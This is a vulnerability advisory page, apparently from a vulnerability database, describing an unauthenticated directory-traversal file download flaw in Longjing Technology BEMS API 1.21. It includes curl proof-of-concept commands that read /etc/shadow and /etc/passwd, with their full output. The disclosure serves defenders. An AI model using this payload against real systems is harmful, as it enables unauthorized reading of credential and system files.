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Longjing Technology BEMS API 1.21 Remote Arbitrary File Download
| Reporter | Title | Published | Views | Family All 11 |
|---|---|---|---|---|
 | CVE-2021-4463 | 12 Nov 202522:40 | – | circl |
 | Longjing BEMS API 安全漏洞 | 12 Nov 202500:00 | – | cnnvd |
 | CVE-2021-4463 | 12 Nov 202522:07 | – | cve |
 | CVE-2021-4463 Longjing Technology BEMS API <= 1.21 Remote Arbitrary File Download | 12 Nov 202522:07 | – | cvelist |
 | EUVD-2021-34715 | 13 Nov 202500:30 | – | euvd |
 | Longjing Technology BEMS API 1.21 - Unauthenticated Arbitrary File Download | 3 Jun 202606:04 | – | nuclei |
 | CVE-2021-4463 | 12 Nov 202522:15 | – | nvd |
 | Generic HTTP Directory Traversal / File Inclusion (Web Application URL Parameter) - Active Check | 26 Sep 201700:00 | – | openvas |
 | PT-2025-46728 | 12 Nov 202500:00 | – | ptsecurity |
 | CVE-2021-4463 | 13 Nov 202523:08 | – | redhatcve |
10
<html><body><p>Longjing Technology BEMS API 1.21 Remote Arbitrary File Download
Vendor: Longjing Technology
Product web page: http://www.ljkj2012.com
Affected version: 1.21
Summary: Battery Energy Management System.
Desc: The application suffers from an unauthenticated arbitrary
file download vulnerability. Input passed through the fileName
parameter through downloads endpoint is not properly verified
before being used to download files. This can be exploited to
disclose the contents of arbitrary and sensitive files through
directory traversal attacks.
Tested on: nginx/1.19.1
Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
@zeroscience
Advisory ID: ZSL-2021-5657
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2021-5657.php
05.07.2021
--
$ curl -sk https://10.0.0.8/api/downloads?fileName=../../../../../../../../etc/shadow
root:*:18477:0:99999:7:::
daemon:*:18477:0:99999:7:::
bin:*:18477:0:99999:7:::
sys:*:18477:0:99999:7:::
sync:*:18477:0:99999:7:::
games:*:18477:0:99999:7:::
man:*:18477:0:99999:7:::
lp:*:18477:0:99999:7:::
mail:*:18477:0:99999:7:::
news:*:18477:0:99999:7:::
uucp:*:18477:0:99999:7:::
proxy:*:18477:0:99999:7:::
www-data:*:18477:0:99999:7:::
backup:*:18477:0:99999:7:::
list:*:18477:0:99999:7:::
irc:*:18477:0:99999:7:::
gnats:*:18477:0:99999:7:::
nobody:*:18477:0:99999:7:::
_apt:*:18477:0:99999:7:::
$ curl -sk https://10.0.0.8/api/downloads?fileName=../../../../../../../../etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
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28 Jul 2021 00:00Current
7.3High risk
Vulners AI Score7.3
CVSS 48.7
EPSS0.01851
SSVC